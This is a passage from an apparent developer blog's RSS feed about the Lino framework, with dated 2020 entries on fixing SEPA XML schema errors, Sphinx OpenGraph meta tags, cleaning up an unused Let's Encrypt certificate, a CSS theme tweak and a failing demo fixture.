class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;pain&lt;/span&gt;&lt;span class="mf"&gt;.001.001.03&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="n"&gt;CtrlSum&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;urn&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;iso&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;iso&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20022&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;tech&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;xsd&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;pain&lt;/span&gt;&lt;span class="mf"&gt;.001.001.03&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="n"&gt;InitgPty&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Yes, version 2 had the following fragment:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;NbOfTxs&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;...&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;NbOfTxs&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Grpg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;MIXD&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;Grpg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;InitgPty&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Indeed the docs no longer talk about &lt;cite&gt;&amp;lt;Grpg&amp;gt;&lt;/cite&gt;. What did it mean?   Maybe it was
about how to share the bank costs. Which is now done using &lt;cite&gt;&amp;lt;ChrgBr&amp;gt;&lt;/cite&gt;.  But I am
not sure. And anyway the &lt;cite&gt;&amp;lt;ChrgBr&amp;gt;&lt;/cite&gt; element is not mandatory and seems to have
reasonable default values. So I removed the &lt;cite&gt;&amp;lt;Grpg&amp;gt;&lt;/cite&gt; element.&lt;/p&gt;
&lt;p&gt;Next error:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Id&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;OrgId&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;PrtryId&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Id&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;strtran&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;substr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MemNoTva&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;.&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;Id&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Issr&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;KBO&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;BCE&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;Issr&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;PrtryId&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;OrgId&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;Id&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I guess that &lt;cite&gt;&amp;lt;PrtryId&amp;gt;&lt;/cite&gt;  has been renamed to &lt;cite&gt;&amp;lt;Othr&amp;gt;&lt;/cite&gt;. Occurred twice in the
source file.&lt;/p&gt;
&lt;p&gt;Next problem:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;lxml.etree.DocumentInvalid: Element ‘{&lt;a class="reference external" href="urn:iso:std:iso:20022:tech:xsd:pain.001.001.03"&gt;urn:iso:std:iso:20022:tech:xsd:pain.001.001.03&lt;/a&gt;}Ctry’: This element is not expected., line 35&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;Seems that &lt;cite&gt;&amp;lt;Ctry&amp;gt;&lt;/cite&gt; must now come before &lt;cite&gt;&amp;lt;AdrLine&amp;gt;&lt;/cite&gt; in &lt;cite&gt;&amp;lt;PstlAdr&amp;gt;&lt;/cite&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/1106.html</guid><pubDate>Fri, 06 Nov 2020 00:00:00 +0000</pubDate></item><item><title>Monday, November 2, 2020</title><link>https://luc.lino-framework.org/blog/2020/1102.html</link><description>&lt;section id="monday-november-2-2020"&gt;
&lt;h1&gt;Monday, November 2, 2020&lt;a class="headerlink" href="#monday-november-2-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Today I discovered the OpenGraph protocol, a standard used by Facebook to give
meta information when sharing a web link. The &lt;a class="reference external" href="https://ogp.me"&gt;OpenGraph website&lt;/a&gt; says that it “is currently being consumed by Facebook,
Google, and mixi”, but the link under Google is broken and I didn’t yet find any
confirmation that it is being used outside of the Facebook imperium.&lt;/p&gt;
&lt;p&gt;It makes sense to learn this standard when you want to share news into Facebook.
When I share a link on Facebook, the FB scraper includes the first image it
finds on my web page.  I can optimize these things.&lt;/p&gt;
&lt;p&gt;Facebook’s “scraper debuggr tool” helps with understanding how they perceive the
world and my website:&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://developers.facebook.com/tools/debug"&gt;https://developers.facebook.com/tools/debug&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;For example I would like to specify an explicit image url to be used when
sharing a blog post.&lt;/p&gt;
&lt;p&gt;Does Sphinx support OpenGraph?
Is it possible to specify more metadata entries in the html header?&lt;/p&gt;
&lt;p&gt;The docs (under &lt;a class="reference external" href="https://www.sphinx-doc.org/en/master/usage/restructuredtext/directives.html#meta-information-markup"&gt;Meta-information markup&lt;/a&gt;)
only mention two directives &lt;code class="xref rst rst-dir docutils literal notranslate"&gt;&lt;span class="pre"&gt;sectionauthor&lt;/span&gt;&lt;/code&gt; and &lt;code class="xref rst rst-dir docutils literal notranslate"&gt;&lt;span class="pre"&gt;codeauthor&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;docutils as a built-in &lt;a class="reference external" href="https://docutils.readthedocs.io/en/sphinx-docs/ref/rst/directives.html#meta"&gt;meta&lt;/a&gt;
directive, which we can use to specify OpenGraph tags.  The syntax is a bit
special:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt; &lt;span class="n"&gt;meta&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;
   &lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nb"&gt;property&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;og:image&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;_images&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;jpg&lt;/span&gt;
   &lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nb"&gt;property&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;og:image:width&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1123&lt;/span&gt;
   &lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nb"&gt;property&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;og:image:height&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;794&lt;/span&gt;
   &lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nb"&gt;property&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;og:type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;article&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Specifying the width and height is optional since FB analyzes itself the image
when they are not given.&lt;/p&gt;
&lt;p&gt;But FB has the following limitation: You should use a 1.91:1 image ratio, such
as 600x314px.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/1102.html</guid><pubDate>Mon, 02 Nov 2020 00:00:00 +0000</pubDate></item><item><title>Monday, October 26, 2020</title><link>https://luc.lino-framework.org/blog/2020/1026.html</link><description>&lt;section id="monday-october-26-2020"&gt;
&lt;h1&gt;Monday, October 26, 2020&lt;a class="headerlink" href="#monday-october-26-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;We received the following message:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;Hello,

Your certificate (or certificates) for the names listed below will expire in 20 days (on 08 Nov 20 18:49 +0000). Please make sure to renew your certificate before then, or visitors to your website will encounter errors.

We recommend renewing certificates automatically when they have a third of their
total lifetime left. For Let&amp;#39;s Encrypt&amp;#39;s current 90-day certificates, that means
renewing 30 days before expiration. See
https://letsencrypt.org/docs/integration-guide/ for details.

lists.laudate.ee
www.laudate.ee

For any questions or support, please visit https://community.letsencrypt.org/. Unfortunately, we can&amp;#39;t provide support by email.

For details about when we send these emails, please visit https://letsencrypt.org/docs/expiration-emails/. In particular, note that this reminder email is still sent if you&amp;#39;ve obtained a slightly different certificate by adding or removing names. If you&amp;#39;ve replaced this certificate with a newer one that covers more or fewer names than the list above, you may be able to ignore this message.

If you are receiving this email in error, unsubscribe at http://mandrillapp.com/track/unsub.php?u=30850198&amp;amp;id=48b230ed62ef4d4a89eda432d9a4259a.IXpg6KZCL1bZ4JeancyYNQgvV8Y%3D&amp;amp;r=https%3A%2F%2Fmandrillapp.com%2Funsub%3Fmd_email%3Dp%252A%252A%252A%252A%2540l%252A%252A%252A%252A.%252A%252A%252A

Regards,
The Let&amp;#39;s Encrypt Team
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This is because at some moment we requested a certificate covering those two
domains. The certbot server worries because this certificate hasn’t been
renewed. This is usually caused by a certificate that we requested some time ago
but don’t use any more.&lt;/p&gt;
&lt;p&gt;And indeed, laudate.ee we had these two messy certificates:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Certificate&lt;/span&gt; &lt;span class="n"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;lists&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;laudate&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;0001&lt;/span&gt;
  &lt;span class="n"&gt;Serial&lt;/span&gt; &lt;span class="n"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="n"&gt;fb6c0c2175f07bdf0cd3645ee8726ba42&lt;/span&gt;
  &lt;span class="n"&gt;Domains&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;lists&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;laudate&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;
  &lt;span class="n"&gt;Expiry&lt;/span&gt; &lt;span class="n"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2020&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt; &lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;VALID&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;19&lt;/span&gt; &lt;span class="n"&gt;days&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;Certificate&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;letsencrypt&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;live&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lists&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;laudate&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;0001&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;fullchain&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pem&lt;/span&gt;
  &lt;span class="n"&gt;Private&lt;/span&gt; &lt;span class="n"&gt;Key&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;letsencrypt&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;live&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lists&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;laudate&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;0001&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;privkey&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pem&lt;/span&gt;
&lt;span class="n"&gt;Certificate&lt;/span&gt; &lt;span class="n"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;lists&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;laudate&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;
  &lt;span class="n"&gt;Serial&lt;/span&gt; &lt;span class="n"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;467&lt;/span&gt;&lt;span class="n"&gt;fe5acafafcfed866554c353c5126404a&lt;/span&gt;
  &lt;span class="n"&gt;Domains&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;lists&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;laudate&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt; &lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;laudate&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;
  &lt;span class="n"&gt;Expiry&lt;/span&gt; &lt;span class="n"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2020&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;08&lt;/span&gt; &lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;49&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;VALID&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;13&lt;/span&gt; &lt;span class="n"&gt;days&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;Certificate&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;letsencrypt&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;live&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lists&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;laudate&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;fullchain&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pem&lt;/span&gt;
  &lt;span class="n"&gt;Private&lt;/span&gt; &lt;span class="n"&gt;Key&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;letsencrypt&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;live&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lists&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;laudate&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;privkey&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pem&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The second certificate is not being used, and it is about the same two domains
mentioned in our warning.&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;(master) &lt;a class="reference external" href="mailto:luc&amp;#37;&amp;#52;&amp;#48;laudate"&gt;luc&lt;span&gt;&amp;#64;&lt;/span&gt;laudate&lt;/a&gt;:~$ grep lists.laudate.ee /etc/nginx/sites-enabled/*
/etc/nginx/sites-enabled/lists.conf:    server_name lists.laudate.ee;
/etc/nginx/sites-enabled/lists.conf:    ssl_certificate /etc/letsencrypt/live/lists.laudate.ee-0001/fullchain.pem; # managed by Certbot
/etc/nginx/sites-enabled/lists.conf:    ssl_certificate_key /etc/letsencrypt/live/lists.laudate.ee-0001/privkey.pem; # managed by Certbot
/etc/nginx/sites-enabled/lists.conf:    if ($host = lists.laudate.ee) {
/etc/nginx/sites-enabled/lists.conf:    server_name lists.laudate.ee;&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;There is another certificate &lt;cite&gt;lists.laudate.ee-0001&lt;/cite&gt; which covers the lists
subdomain. We removed an unused certificate on laudate.ee:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ certbot-auto delete --cert-name lists.laudate.ee
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;It is a pity that the certbot warning does not give a unique id of the
certificate.  The only way to see whether their warning notice matches an
existing certificate is to search for candidates.&lt;/p&gt;
&lt;p&gt;And I guess that &lt;cite&gt;certbot delete&lt;/cite&gt; command does not automatically notify the
certbot server that they can delete this certificate. In other words they will
bother us again about this certificate, maybe next week, and we will again spend
some time to find out that we can ignore it.  But ok, I also don’t see right now
whether and how they would manage all use cases.&lt;/p&gt;
&lt;p&gt;Another thing is: how can we tell certbot to notify also Hannes about
certificate expirations?  Answer: add hannes to postmaster.  The default mail
address on the acme server is &lt;cite&gt;postmaster&amp;#64;example.com&lt;/cite&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/1026.html</guid><pubDate>Mon, 26 Oct 2020 00:00:00 +0000</pubDate></item><item><title>Sunday, October 25, 2020</title><link>https://luc.lino-framework.org/blog/2020/1025.html</link><description>&lt;section id="sunday-october-25-2020"&gt;
&lt;h1&gt;Sunday, October 25, 2020&lt;a class="headerlink" href="#sunday-october-25-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;$ cd docs/.static
$ pip install -U ‘insipid-sphinx-theme&amp;lt;0.2.0
Successfully installed insipid-sphinx-theme-0.1.2
$ diff /home/luc/virtualenvs/py3/lib/python3.6/site-packages/insipid_sphinx_theme/insipid/static/insipid.css_t docs/.static/insipid.css_t
538c538,539
&amp;lt;     color: inherit;
—
&amp;gt;     // color: inherit;
&amp;gt;     color: black;
566,567c567,569
&amp;lt;     font-size: 1.4em;
&amp;lt;     font-weight: 200;
—
&amp;gt;     font-size: 0.8em;
&amp;gt;     font-weight: normal;
&amp;gt;     // font-weight: 200;&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/1025.html</guid><pubDate>Sun, 25 Oct 2020 00:00:00 +0000</pubDate></item><item><title>Thursday, October 22, 2020</title><link>https://luc.lino-framework.org/blog/2020/1022.html</link><description>&lt;section id="thursday-october-22-2020"&gt;
&lt;h1&gt;Thursday, October 22, 2020&lt;a class="headerlink" href="#thursday-october-22-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;The getlino test suite now also tries to install a voga application. And this
failed.  The &lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/prep.html#command-pm-prep" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pm&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; on the newly created site said:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;lino_xl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;accounting&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DoesNotExist&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;Problem&lt;/span&gt; &lt;span class="n"&gt;installing&lt;/span&gt; &lt;span class="n"&gt;fixture&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/usr/local/lino/lino_local/voga1/env/lib/python3.7/site-packages/lino_xl/lib/finan/fixtures/payments.py&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;Journal&lt;/span&gt; &lt;span class="n"&gt;matching&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt; &lt;span class="n"&gt;does&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;exist&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I reproduced this problem in the book by adding a new demo project
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_book.projects.voga1.html#module-lino_book.projects.voga1" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.voga1&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Explanation: the &lt;a class="reference external" href="https://dev.lino-framework.org/ref/demo_fixtures.html#fixture-minimal_ledger" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-fixture docutils literal notranslate"&gt;&lt;span class="pre"&gt;minimal_ledger&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; in &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.accounting.html#module-lino_xl.lib.accounting" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; created
certain journals (SLC, PRC, PMO, …) only when
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.vat.Plugin.declaration_plugin&lt;/span&gt;&lt;/code&gt; was set.  And there is no
default value for this setting.
